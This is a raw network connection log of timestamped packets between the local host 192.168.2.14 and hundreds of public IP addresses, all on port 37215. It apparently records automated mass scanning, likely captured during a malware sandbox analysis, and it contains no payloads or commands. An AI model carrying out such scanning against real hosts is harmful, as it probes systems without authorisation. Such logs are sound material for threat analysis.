Aug 1, 2024 15:34:55.626197100 CEST	37215	47767	157.227.29.244	192.168.2.14
Aug 1, 2024 15:34:55.626211882 CEST	37215	47767	41.178.27.204	192.168.2.14
Aug 1, 2024 15:34:55.626225948 CEST	37215	47767	41.215.150.213	192.168.2.14
Aug 1, 2024 15:34:55.626240015 CEST	37215	47767	41.72.0.120	192.168.2.14
Aug 1, 2024 15:34:55.626252890 CEST	37215	47767	95.239.158.36	192.168.2.14
Aug 1, 2024 15:34:55.626255989 CEST	47767	37215	192.168.2.14	41.215.150.213
Aug 1, 2024 15:34:55.626266003 CEST	37215	47767	197.232.53.0	192.168.2.14
Aug 1, 2024 15:34:55.626281023 CEST	37215	47767	157.7.101.69	192.168.2.14
Aug 1, 2024 15:34:55.626295090 CEST	47767	37215	192.168.2.14	95.239.158.36
Aug 1, 2024 15:34:55.626295090 CEST	47767	37215	192.168.2.14	197.232.53.0
Aug 1, 2024 15:34:55.626297951 CEST	37215	47767	41.232.199.60	192.168.2.14
Aug 1, 2024 15:34:55.626315117 CEST	47767	37215	192.168.2.14	41.72.0.120
Aug 1, 2024 15:34:55.626315117 CEST	47767	37215	192.168.2.14	157.7.101.69
Aug 1, 2024 15:34:55.626326084 CEST	47767	37215	192.168.2.14	197.212.185.176
Aug 1, 2024 15:34:55.626326084 CEST	47767	37215	192.168.2.14	157.227.29.244
Aug 1, 2024 15:34:55.626326084 CEST	47767	37215	192.168.2.14	41.178.27.204
Aug 1, 2024 15:34:55.626353979 CEST	47767	37215	192.168.2.14	41.232.199.60
Aug 1, 2024 15:34:55.627300978 CEST	37215	47767	99.205.188.184	192.168.2.14
Aug 1, 2024 15:34:55.627341986 CEST	47767	37215	192.168.2.14	99.205.188.184
Aug 1, 2024 15:34:55.627377987 CEST	37215	47767	197.80.225.134	192.168.2.14
Aug 1, 2024 15:34:55.627392054 CEST	37215	47767	69.71.130.182	192.168.2.14
Aug 1, 2024 15:34:55.627419949 CEST	37215	44338	2.138.219.53	192.168.2.14
Aug 1, 2024 15:34:55.627424002 CEST	47767	37215	192.168.2.14	197.80.225.134
Aug 1, 2024 15:34:55.627434969 CEST	37215	51144	171.189.230.58	192.168.2.14
Aug 1, 2024 15:34:55.627441883 CEST	47767	37215	192.168.2.14	69.71.130.182
Aug 1, 2024 15:34:55.627563000 CEST	54494	37215	192.168.2.14	41.94.14.140
Aug 1, 2024 15:34:55.627655029 CEST	37215	46340	41.15.250.54	192.168.2.14
Aug 1, 2024 15:34:55.627670050 CEST	37215	43924	197.82.231.104	192.168.2.14
Aug 1, 2024 15:34:55.627711058 CEST	37215	46202	41.243.78.48	192.168.2.14
Aug 1, 2024 15:34:55.627737045 CEST	37215	58748	41.102.235.147	192.168.2.14
Aug 1, 2024 15:34:55.627803087 CEST	37215	43680	222.142.83.55	192.168.2.14
Aug 1, 2024 15:34:55.627862930 CEST	37215	60640	197.95.7.206	192.168.2.14
Aug 1, 2024 15:34:55.627923012 CEST	37215	53386	41.236.40.252	192.168.2.14
Aug 1, 2024 15:34:55.627981901 CEST	37215	36174	157.121.143.74	192.168.2.14
Aug 1, 2024 15:34:55.628006935 CEST	37215	59862	41.219.67.173	192.168.2.14
Aug 1, 2024 15:34:55.628020048 CEST	37215	48754	41.147.162.230	192.168.2.14
Aug 1, 2024 15:34:55.628266096 CEST	37215	40756	41.55.124.183	192.168.2.14
Aug 1, 2024 15:34:55.628292084 CEST	37215	43508	41.134.51.115	192.168.2.14
Aug 1, 2024 15:34:55.628374100 CEST	37215	49990	196.207.169.224	192.168.2.14
Aug 1, 2024 15:34:55.628387928 CEST	37215	45878	41.190.123.131	192.168.2.14
Aug 1, 2024 15:34:55.628416061 CEST	37215	35902	157.51.252.216	192.168.2.14
Aug 1, 2024 15:34:55.628428936 CEST	37215	39712	41.59.74.157	192.168.2.14
Aug 1, 2024 15:34:55.628537893 CEST	37215	40034	41.37.124.216	192.168.2.14
Aug 1, 2024 15:34:55.628552914 CEST	37215	44668	182.53.203.199	192.168.2.14
Aug 1, 2024 15:34:55.628580093 CEST	37215	33270	157.87.117.169	192.168.2.14
Aug 1, 2024 15:34:55.628593922 CEST	37215	46180	157.252.179.4	192.168.2.14
Aug 1, 2024 15:34:55.629489899 CEST	37215	57910	67.173.236.255	192.168.2.14
Aug 1, 2024 15:34:55.629519939 CEST	37215	60540	164.63.63.103	192.168.2.14
Aug 1, 2024 15:34:55.629614115 CEST	37215	55514	157.247.173.232	192.168.2.14
Aug 1, 2024 15:34:55.629833937 CEST	41752	37215	192.168.2.14	41.81.68.60
Aug 1, 2024 15:34:55.629857063 CEST	37215	42652	92.28.110.8	192.168.2.14
Aug 1, 2024 15:34:55.629899979 CEST	37215	52344	136.209.131.27	192.168.2.14
Aug 1, 2024 15:34:55.629918098 CEST	37215	33716	197.251.68.85	192.168.2.14
Aug 1, 2024 15:34:55.629947901 CEST	37215	36864	60.255.178.57	192.168.2.14
Aug 1, 2024 15:34:55.629965067 CEST	37215	38800	197.52.238.43	192.168.2.14
Aug 1, 2024 15:34:55.630248070 CEST	37215	59860	197.37.11.189	192.168.2.14
Aug 1, 2024 15:34:55.630440950 CEST	53402	37215	192.168.2.14	197.206.139.104
Aug 1, 2024 15:34:55.630441904 CEST	50420	37215	192.168.2.14	157.194.219.212
Aug 1, 2024 15:34:55.630441904 CEST	39524	37215	192.168.2.14	41.189.13.212
Aug 1, 2024 15:34:55.630450010 CEST	39804	37215	192.168.2.14	38.93.44.240
Aug 1, 2024 15:34:55.630450964 CEST	33474	37215	192.168.2.14	157.10.149.35
Aug 1, 2024 15:34:55.630455017 CEST	59278	37215	192.168.2.14	197.171.29.163
Aug 1, 2024 15:34:55.630642891 CEST	37215	59278	197.171.29.163	192.168.2.14
Aug 1, 2024 15:34:55.631004095 CEST	37215	45976	41.205.131.121	192.168.2.14
Aug 1, 2024 15:34:55.631021976 CEST	37215	33474	157.10.149.35	192.168.2.14
Aug 1, 2024 15:34:55.631081104 CEST	37215	39804	38.93.44.240	192.168.2.14
Aug 1, 2024 15:34:55.631098032 CEST	37215	39524	41.189.13.212	192.168.2.14
Aug 1, 2024 15:34:55.631274939 CEST	37215	55634	184.46.233.237	192.168.2.14
Aug 1, 2024 15:34:55.631650925 CEST	37215	53402	197.206.139.104	192.168.2.14
Aug 1, 2024 15:34:55.631747007 CEST	37215	50420	157.194.219.212	192.168.2.14
Aug 1, 2024 15:34:55.631763935 CEST	37215	33660	197.91.38.97	192.168.2.14
Aug 1, 2024 15:34:55.631793022 CEST	37215	51244	157.220.82.146	192.168.2.14
Aug 1, 2024 15:34:55.631808996 CEST	37215	38260	107.106.86.9	192.168.2.14
Aug 1, 2024 15:34:55.631891012 CEST	37215	36160	197.190.55.55	192.168.2.14
Aug 1, 2024 15:34:55.631908894 CEST	37215	59474	197.13.177.97	192.168.2.14
Aug 1, 2024 15:34:55.631997108 CEST	37215	35338	177.186.243.242	192.168.2.14
Aug 1, 2024 15:34:55.632076025 CEST	37215	36242	41.183.144.125	192.168.2.14
Aug 1, 2024 15:34:55.632092953 CEST	37215	44410	99.216.115.116	192.168.2.14
Aug 1, 2024 15:34:55.632108927 CEST	37215	56542	41.140.10.97	192.168.2.14
Aug 1, 2024 15:34:55.632138014 CEST	37215	48538	197.42.176.105	192.168.2.14
Aug 1, 2024 15:34:55.632153988 CEST	37215	39250	147.211.62.145	192.168.2.14
Aug 1, 2024 15:34:55.632276058 CEST	37215	59630	157.108.49.207	192.168.2.14
Aug 1, 2024 15:34:55.632293940 CEST	37215	58962	197.237.103.241	192.168.2.14
Aug 1, 2024 15:34:55.632313967 CEST	37215	45710	157.102.148.103	192.168.2.14
Aug 1, 2024 15:34:55.632601023 CEST	58020	37215	192.168.2.14	197.83.5.96
Aug 1, 2024 15:34:55.632652998 CEST	37215	54228	195.22.164.112	192.168.2.14
Aug 1, 2024 15:34:55.632739067 CEST	37215	53244	197.75.43.144	192.168.2.14
Aug 1, 2024 15:34:55.632756948 CEST	37215	40028	197.176.187.27	192.168.2.14
Aug 1, 2024 15:34:55.632797003 CEST	37215	48036	110.208.30.2	192.168.2.14
Aug 1, 2024 15:34:55.632814884 CEST	37215	34536	41.68.112.151	192.168.2.14
Aug 1, 2024 15:34:55.632870913 CEST	37215	33558	157.129.37.247	192.168.2.14
Aug 1, 2024 15:34:55.632886887 CEST	37215	45316	157.115.41.196	192.168.2.14
Aug 1, 2024 15:34:55.632931948 CEST	37215	44122	197.106.91.113	192.168.2.14
Aug 1, 2024 15:34:55.632950068 CEST	37215	56772	197.88.34.150	192.168.2.14
Aug 1, 2024 15:34:55.633125067 CEST	37215	38732	157.251.247.196	192.168.2.14
Aug 1, 2024 15:34:55.633142948 CEST	37215	48958	157.122.220.214	192.168.2.14
Aug 1, 2024 15:34:55.633161068 CEST	37215	60932	168.234.4.56	192.168.2.14
Aug 1, 2024 15:34:55.633178949 CEST	37215	34432	41.184.88.67	192.168.2.14
Aug 1, 2024 15:34:55.633197069 CEST	37215	37330	130.233.217.238	192.168.2.14
Aug 1, 2024 15:34:55.633225918 CEST	37215	57426	157.169.17.131	192.168.2.14
Aug 1, 2024 15:34:55.633335114 CEST	37215	38418	115.105.251.29	192.168.2.14
Aug 1, 2024 15:34:55.633352041 CEST	37215	40182	41.169.67.45	192.168.2.14
Aug 1, 2024 15:34:55.633378983 CEST	37215	59086	61.43.155.73	192.168.2.14
Aug 1, 2024 15:34:55.633418083 CEST	37215	54608	103.20.177.119	192.168.2.14
Aug 1, 2024 15:34:55.634089947 CEST	37215	34842	197.169.248.145	192.168.2.14
Aug 1, 2024 15:34:55.634107113 CEST	37215	45752	41.53.76.199	192.168.2.14
Aug 1, 2024 15:34:55.634318113 CEST	37215	56996	157.60.145.99	192.168.2.14
Aug 1, 2024 15:34:55.634335041 CEST	37215	50544	197.124.18.82	192.168.2.14
Aug 1, 2024 15:34:55.634434938 CEST	54308	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:55.634445906 CEST	56328	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:55.634448051 CEST	49482	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:55.634449005 CEST	50270	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:55.634449005 CEST	53750	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:55.634466887 CEST	56278	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:55.634469986 CEST	40226	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:55.634469986 CEST	56550	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:55.634474039 CEST	32944	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:55.634469986 CEST	41072	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:55.634470940 CEST	40426	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:55.634469986 CEST	37215	47228	41.178.100.181	192.168.2.14
Aug 1, 2024 15:34:55.634475946 CEST	50422	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:55.634470940 CEST	59580	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:55.634478092 CEST	40982	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:55.634474039 CEST	35596	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:55.634485960 CEST	38164	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:55.634485960 CEST	40032	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:55.634490013 CEST	53630	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:55.634490967 CEST	57814	37215	192.168.2.14	197.190.3.77
Aug 1, 2024 15:34:55.634495974 CEST	40560	37215	192.168.2.14	41.226.213.137
Aug 1, 2024 15:34:55.634495020 CEST	37215	39300	197.40.23.137	192.168.2.14
Aug 1, 2024 15:34:55.634526014 CEST	53200	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:55.634526014 CEST	39252	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:55.634526968 CEST	35894	37215	192.168.2.14	113.77.151.196
Aug 1, 2024 15:34:55.634526968 CEST	57120	37215	192.168.2.14	41.148.120.113
Aug 1, 2024 15:34:55.634531021 CEST	41178	37215	192.168.2.14	41.130.209.143
Aug 1, 2024 15:34:55.634531021 CEST	49914	37215	192.168.2.14	41.84.67.216
Aug 1, 2024 15:34:55.634531021 CEST	42024	37215	192.168.2.14	41.210.198.23
Aug 1, 2024 15:34:55.634531021 CEST	38518	37215	192.168.2.14	159.97.190.21
Aug 1, 2024 15:34:55.634531021 CEST	60818	37215	192.168.2.14	41.6.248.212
Aug 1, 2024 15:34:55.634531021 CEST	55460	37215	192.168.2.14	123.236.6.145
Aug 1, 2024 15:34:55.634531021 CEST	52692	37215	192.168.2.14	157.88.238.24
Aug 1, 2024 15:34:55.634533882 CEST	48030	37215	192.168.2.14	157.133.254.58
Aug 1, 2024 15:34:55.634536982 CEST	35948	37215	192.168.2.14	191.150.229.72
Aug 1, 2024 15:34:55.634545088 CEST	48282	37215	192.168.2.14	41.78.39.108
Aug 1, 2024 15:34:55.634550095 CEST	34188	37215	192.168.2.14	41.89.33.33
Aug 1, 2024 15:34:55.634550095 CEST	39300	37215	192.168.2.14	197.40.23.137
Aug 1, 2024 15:34:55.634550095 CEST	37215	35606	157.187.148.134	192.168.2.14
Aug 1, 2024 15:34:55.634552956 CEST	49810	37215	192.168.2.14	41.143.18.123
Aug 1, 2024 15:34:55.634582996 CEST	37215	41596	41.88.176.209	192.168.2.14
Aug 1, 2024 15:34:55.634644032 CEST	37215	49810	41.143.18.123	192.168.2.14
Aug 1, 2024 15:34:55.634660959 CEST	37215	34188	41.89.33.33	192.168.2.14
Aug 1, 2024 15:34:55.634742022 CEST	37215	48282	41.78.39.108	192.168.2.14
Aug 1, 2024 15:34:55.634771109 CEST	37215	52692	157.88.238.24	192.168.2.14
Aug 1, 2024 15:34:55.634859085 CEST	37215	55460	123.236.6.145	192.168.2.14
Aug 1, 2024 15:34:55.634876966 CEST	37215	48030	157.133.254.58	192.168.2.14
Aug 1, 2024 15:34:55.634969950 CEST	37215	57120	41.148.120.113	192.168.2.14
Aug 1, 2024 15:34:55.635001898 CEST	37215	60818	41.6.248.212	192.168.2.14
Aug 1, 2024 15:34:55.635045052 CEST	37215	35948	191.150.229.72	192.168.2.14
Aug 1, 2024 15:34:55.635061979 CEST	37215	38518	159.97.190.21	192.168.2.14
Aug 1, 2024 15:34:55.635102034 CEST	37215	42024	41.210.198.23	192.168.2.14
Aug 1, 2024 15:34:55.635157108 CEST	37215	35894	113.77.151.196	192.168.2.14
Aug 1, 2024 15:34:55.635248899 CEST	37215	49914	41.84.67.216	192.168.2.14
Aug 1, 2024 15:34:55.635266066 CEST	37215	41178	41.130.209.143	192.168.2.14
Aug 1, 2024 15:34:55.635307074 CEST	37215	40560	41.226.213.137	192.168.2.14
Aug 1, 2024 15:34:55.635323048 CEST	37215	57814	197.190.3.77	192.168.2.14
Aug 1, 2024 15:34:55.635341883 CEST	37215	40032	200.89.131.108	192.168.2.14
Aug 1, 2024 15:34:55.635380983 CEST	37215	53630	197.179.175.169	192.168.2.14
Aug 1, 2024 15:34:55.635432005 CEST	54194	37215	192.168.2.14	71.115.192.50
Aug 1, 2024 15:34:55.635545015 CEST	37215	38164	222.239.93.139	192.168.2.14
Aug 1, 2024 15:34:55.635643959 CEST	37215	39252	57.64.230.60	192.168.2.14
Aug 1, 2024 15:34:55.635701895 CEST	37215	50422	157.75.77.178	192.168.2.14
Aug 1, 2024 15:34:55.635718107 CEST	37215	41072	157.253.51.213	192.168.2.14
Aug 1, 2024 15:34:55.635823011 CEST	37215	32944	197.102.172.2	192.168.2.14
Aug 1, 2024 15:34:55.635838985 CEST	37215	35596	197.64.45.114	192.168.2.14
Aug 1, 2024 15:34:55.635940075 CEST	37215	53200	157.133.24.232	192.168.2.14
Aug 1, 2024 15:34:55.635957003 CEST	37215	40982	157.157.109.60	192.168.2.14
Aug 1, 2024 15:34:55.636039019 CEST	37215	59580	157.203.23.110	192.168.2.14
Aug 1, 2024 15:34:55.636066914 CEST	37215	40226	157.206.8.180	192.168.2.14
Aug 1, 2024 15:34:55.636151075 CEST	37215	56278	197.103.193.138	192.168.2.14
Aug 1, 2024 15:34:55.636168003 CEST	37215	40426	157.62.255.255	192.168.2.14
Aug 1, 2024 15:34:55.636286020 CEST	37215	53750	197.118.161.155	192.168.2.14
Aug 1, 2024 15:34:55.636306047 CEST	37215	47826	168.204.229.155	192.168.2.14
Aug 1, 2024 15:34:55.636400938 CEST	37215	49602	13.191.210.26	192.168.2.14
Aug 1, 2024 15:34:55.636431932 CEST	37215	40764	157.251.239.40	192.168.2.14
Aug 1, 2024 15:34:55.636567116 CEST	37215	58596	34.114.172.79	192.168.2.14
Aug 1, 2024 15:34:55.636583090 CEST	37215	56412	157.39.220.56	192.168.2.14
Aug 1, 2024 15:34:55.636754990 CEST	37215	39482	133.178.29.77	192.168.2.14
Aug 1, 2024 15:34:55.636770010 CEST	37215	54896	157.121.169.87	192.168.2.14
Aug 1, 2024 15:34:55.636801004 CEST	37215	45810	157.113.100.5	192.168.2.14
Aug 1, 2024 15:34:55.636816978 CEST	37215	52814	41.81.182.25	192.168.2.14
Aug 1, 2024 15:34:55.636921883 CEST	37215	54376	197.97.234.242	192.168.2.14
Aug 1, 2024 15:34:55.636939049 CEST	37215	37804	157.84.81.43	192.168.2.14
Aug 1, 2024 15:34:55.636977911 CEST	37215	56328	41.151.182.180	192.168.2.14
Aug 1, 2024 15:34:55.637006998 CEST	37215	50270	157.136.241.140	192.168.2.14
Aug 1, 2024 15:34:55.637165070 CEST	37215	56550	197.130.235.100	192.168.2.14
Aug 1, 2024 15:34:55.637181044 CEST	37215	54308	41.138.22.23	192.168.2.14
Aug 1, 2024 15:34:55.637423038 CEST	37215	49482	41.177.87.219	192.168.2.14
Aug 1, 2024 15:34:55.638010025 CEST	54052	37215	192.168.2.14	148.35.167.224
Aug 1, 2024 15:34:55.640562057 CEST	39008	37215	192.168.2.14	197.67.20.98
Aug 1, 2024 15:34:55.641113043 CEST	37215	34740	41.227.113.252	192.168.2.14
Aug 1, 2024 15:34:55.641221046 CEST	37215	52512	197.43.214.179	192.168.2.14
Aug 1, 2024 15:34:55.641266108 CEST	52512	37215	192.168.2.14	197.43.214.179
Aug 1, 2024 15:34:55.641719103 CEST	37215	57376	157.180.101.63	192.168.2.14
Aug 1, 2024 15:34:55.641768932 CEST	57376	37215	192.168.2.14	157.180.101.63
Aug 1, 2024 15:34:55.642860889 CEST	57698	37215	192.168.2.14	197.51.110.122
Aug 1, 2024 15:34:55.643090963 CEST	37215	36870	41.221.227.83	192.168.2.14
Aug 1, 2024 15:34:55.643136024 CEST	36870	37215	192.168.2.14	41.221.227.83
Aug 1, 2024 15:34:55.644150019 CEST	37215	55220	77.89.16.248	192.168.2.14
Aug 1, 2024 15:34:55.644198895 CEST	55220	37215	192.168.2.14	77.89.16.248
Aug 1, 2024 15:34:55.644752026 CEST	37215	52480	157.251.61.118	192.168.2.14
Aug 1, 2024 15:34:55.644798994 CEST	52480	37215	192.168.2.14	157.251.61.118
Aug 1, 2024 15:34:55.645302057 CEST	48254	37215	192.168.2.14	41.114.115.214
Aug 1, 2024 15:34:55.647213936 CEST	37215	45636	41.92.13.87	192.168.2.14
Aug 1, 2024 15:34:55.647262096 CEST	45636	37215	192.168.2.14	41.92.13.87
Aug 1, 2024 15:34:55.647747040 CEST	37215	54494	41.94.14.140	192.168.2.14
Aug 1, 2024 15:34:55.647819996 CEST	37215	41752	41.81.68.60	192.168.2.14
Aug 1, 2024 15:34:55.647824049 CEST	56062	37215	192.168.2.14	41.219.12.182
Aug 1, 2024 15:34:55.647844076 CEST	54494	37215	192.168.2.14	41.94.14.140
Aug 1, 2024 15:34:55.647861004 CEST	37215	53402	197.206.139.104	192.168.2.14
Aug 1, 2024 15:34:55.647862911 CEST	41752	37215	192.168.2.14	41.81.68.60
Aug 1, 2024 15:34:55.648044109 CEST	37215	39804	38.93.44.240	192.168.2.14
Aug 1, 2024 15:34:55.648061991 CEST	37215	50420	157.194.219.212	192.168.2.14
Aug 1, 2024 15:34:55.648080111 CEST	37215	39524	41.189.13.212	192.168.2.14
Aug 1, 2024 15:34:55.648097992 CEST	37215	33474	157.10.149.35	192.168.2.14
Aug 1, 2024 15:34:55.648116112 CEST	37215	59278	197.171.29.163	192.168.2.14
Aug 1, 2024 15:34:55.648185015 CEST	37215	58020	197.83.5.96	192.168.2.14
Aug 1, 2024 15:34:55.648236990 CEST	58020	37215	192.168.2.14	197.83.5.96
Aug 1, 2024 15:34:55.650361061 CEST	51300	37215	192.168.2.14	157.118.102.239
Aug 1, 2024 15:34:55.652822971 CEST	45166	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:55.653615952 CEST	37215	54308	41.138.22.23	192.168.2.14
Aug 1, 2024 15:34:55.653646946 CEST	37215	56328	41.151.182.180	192.168.2.14
Aug 1, 2024 15:34:55.653675079 CEST	37215	49482	41.177.87.219	192.168.2.14
Aug 1, 2024 15:34:55.653701067 CEST	37215	50270	157.136.241.140	192.168.2.14
Aug 1, 2024 15:34:55.653729916 CEST	37215	53750	197.118.161.155	192.168.2.14
Aug 1, 2024 15:34:55.653783083 CEST	37215	56278	197.103.193.138	192.168.2.14
Aug 1, 2024 15:34:55.653865099 CEST	37215	40226	157.206.8.180	192.168.2.14
Aug 1, 2024 15:34:55.653892994 CEST	37215	56550	197.130.235.100	192.168.2.14
Aug 1, 2024 15:34:55.653918982 CEST	37215	41072	157.253.51.213	192.168.2.14
Aug 1, 2024 15:34:55.653969049 CEST	37215	50422	157.75.77.178	192.168.2.14
Aug 1, 2024 15:34:55.654026031 CEST	37215	40426	157.62.255.255	192.168.2.14
Aug 1, 2024 15:34:55.654052973 CEST	37215	40982	157.157.109.60	192.168.2.14
Aug 1, 2024 15:34:55.654079914 CEST	37215	59580	157.203.23.110	192.168.2.14
Aug 1, 2024 15:34:55.654107094 CEST	37215	32944	197.102.172.2	192.168.2.14
Aug 1, 2024 15:34:55.654134035 CEST	37215	35596	197.64.45.114	192.168.2.14
Aug 1, 2024 15:34:55.654548883 CEST	37215	38164	222.239.93.139	192.168.2.14
Aug 1, 2024 15:34:55.654680014 CEST	37215	40032	200.89.131.108	192.168.2.14
Aug 1, 2024 15:34:55.654709101 CEST	37215	53630	197.179.175.169	192.168.2.14
Aug 1, 2024 15:34:55.654736996 CEST	37215	57814	197.190.3.77	192.168.2.14
Aug 1, 2024 15:34:55.654763937 CEST	37215	40560	41.226.213.137	192.168.2.14
Aug 1, 2024 15:34:55.654791117 CEST	37215	53200	157.133.24.232	192.168.2.14
Aug 1, 2024 15:34:55.654819012 CEST	37215	39252	57.64.230.60	192.168.2.14
Aug 1, 2024 15:34:55.654845953 CEST	37215	35894	113.77.151.196	192.168.2.14
Aug 1, 2024 15:34:55.654895067 CEST	37215	57120	41.148.120.113	192.168.2.14
Aug 1, 2024 15:34:55.654922009 CEST	37215	49914	41.84.67.216	192.168.2.14
Aug 1, 2024 15:34:55.654948950 CEST	37215	38518	159.97.190.21	192.168.2.14
Aug 1, 2024 15:34:55.654977083 CEST	37215	41178	41.130.209.143	192.168.2.14
Aug 1, 2024 15:34:55.655004025 CEST	37215	55460	123.236.6.145	192.168.2.14
Aug 1, 2024 15:34:55.655030966 CEST	37215	42024	41.210.198.23	192.168.2.14
Aug 1, 2024 15:34:55.655059099 CEST	37215	60818	41.6.248.212	192.168.2.14
Aug 1, 2024 15:34:55.655086994 CEST	37215	52692	157.88.238.24	192.168.2.14
Aug 1, 2024 15:34:55.655133963 CEST	37215	48030	157.133.254.58	192.168.2.14
Aug 1, 2024 15:34:55.655160904 CEST	37215	35948	191.150.229.72	192.168.2.14
Aug 1, 2024 15:34:55.655402899 CEST	37215	48282	41.78.39.108	192.168.2.14
Aug 1, 2024 15:34:55.655431032 CEST	37215	34188	41.89.33.33	192.168.2.14
Aug 1, 2024 15:34:55.655462027 CEST	37215	39300	197.40.23.137	192.168.2.14
Aug 1, 2024 15:34:55.655488968 CEST	37215	49810	41.143.18.123	192.168.2.14
Aug 1, 2024 15:34:55.655592918 CEST	50458	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:55.656785011 CEST	37215	54194	71.115.192.50	192.168.2.14
Aug 1, 2024 15:34:55.656833887 CEST	54194	37215	192.168.2.14	71.115.192.50
Aug 1, 2024 15:34:55.657262087 CEST	37215	54052	148.35.167.224	192.168.2.14
Aug 1, 2024 15:34:55.657310009 CEST	54052	37215	192.168.2.14	148.35.167.224
Aug 1, 2024 15:34:55.657584906 CEST	37215	39008	197.67.20.98	192.168.2.14
Aug 1, 2024 15:34:55.657630920 CEST	39008	37215	192.168.2.14	197.67.20.98
Aug 1, 2024 15:34:55.657721043 CEST	37215	57698	197.51.110.122	192.168.2.14
Aug 1, 2024 15:34:55.657763958 CEST	57698	37215	192.168.2.14	197.51.110.122
Aug 1, 2024 15:34:55.657816887 CEST	50886	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:55.658129930 CEST	37215	48254	41.114.115.214	192.168.2.14
Aug 1, 2024 15:34:55.658169985 CEST	48254	37215	192.168.2.14	41.114.115.214
Aug 1, 2024 15:34:55.658683062 CEST	37215	56062	41.219.12.182	192.168.2.14
Aug 1, 2024 15:34:55.658715010 CEST	56062	37215	192.168.2.14	41.219.12.182
Aug 1, 2024 15:34:55.658941031 CEST	37215	51300	157.118.102.239	192.168.2.14
Aug 1, 2024 15:34:55.658982992 CEST	51300	37215	192.168.2.14	157.118.102.239
Aug 1, 2024 15:34:55.659060955 CEST	37215	45166	41.253.96.70	192.168.2.14
Aug 1, 2024 15:34:55.659110069 CEST	45166	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:55.659950018 CEST	45514	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:55.660439968 CEST	37215	50458	197.185.58.243	192.168.2.14
Aug 1, 2024 15:34:55.660504103 CEST	50458	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:55.662668943 CEST	51296	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:55.663474083 CEST	37215	50886	84.84.190.161	192.168.2.14
Aug 1, 2024 15:34:55.663523912 CEST	50886	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:55.664757013 CEST	35646	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:55.664833069 CEST	37215	45514	157.82.15.33	192.168.2.14
Aug 1, 2024 15:34:55.664885998 CEST	45514	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:55.667471886 CEST	37215	51296	197.35.116.111	192.168.2.14
Aug 1, 2024 15:34:55.667495012 CEST	52562	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:55.667536974 CEST	51296	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:55.669575930 CEST	37215	35646	41.165.0.32	192.168.2.14
Aug 1, 2024 15:34:55.669644117 CEST	35646	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:55.669867992 CEST	33428	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:55.672518969 CEST	35460	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:55.672544956 CEST	37215	52562	197.245.144.135	192.168.2.14
Aug 1, 2024 15:34:55.672590971 CEST	52562	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:55.674834013 CEST	37215	33428	157.7.123.100	192.168.2.14
Aug 1, 2024 15:34:55.674884081 CEST	33428	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:55.674987078 CEST	58768	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:55.677591085 CEST	36142	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:55.677969933 CEST	37215	35460	157.15.47.253	192.168.2.14
Aug 1, 2024 15:34:55.678014040 CEST	35460	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:55.678400993 CEST	37215	38800	197.52.238.43	192.168.2.14
Aug 1, 2024 15:34:55.678420067 CEST	37215	36864	60.255.178.57	192.168.2.14
Aug 1, 2024 15:34:55.678431034 CEST	37215	52344	136.209.131.27	192.168.2.14
Aug 1, 2024 15:34:55.678447962 CEST	37215	33716	197.251.68.85	192.168.2.14
Aug 1, 2024 15:34:55.678457975 CEST	37215	42652	92.28.110.8	192.168.2.14
Aug 1, 2024 15:34:55.678466082 CEST	37215	55514	157.247.173.232	192.168.2.14
Aug 1, 2024 15:34:55.678476095 CEST	37215	60540	164.63.63.103	192.168.2.14
Aug 1, 2024 15:34:55.678524971 CEST	37215	57910	67.173.236.255	192.168.2.14
Aug 1, 2024 15:34:55.678534985 CEST	37215	46180	157.252.179.4	192.168.2.14
Aug 1, 2024 15:34:55.678544044 CEST	37215	33270	157.87.117.169	192.168.2.14
Aug 1, 2024 15:34:55.678564072 CEST	37215	40034	41.37.124.216	192.168.2.14
Aug 1, 2024 15:34:55.678574085 CEST	37215	44668	182.53.203.199	192.168.2.14
Aug 1, 2024 15:34:55.678581953 CEST	37215	39712	41.59.74.157	192.168.2.14
Aug 1, 2024 15:34:55.678586006 CEST	37215	35902	157.51.252.216	192.168.2.14
Aug 1, 2024 15:34:55.678594112 CEST	37215	45878	41.190.123.131	192.168.2.14
Aug 1, 2024 15:34:55.678602934 CEST	37215	36174	157.121.143.74	192.168.2.14
Aug 1, 2024 15:34:55.678613901 CEST	37215	43924	197.82.231.104	192.168.2.14
Aug 1, 2024 15:34:55.678622961 CEST	37215	49990	196.207.169.224	192.168.2.14
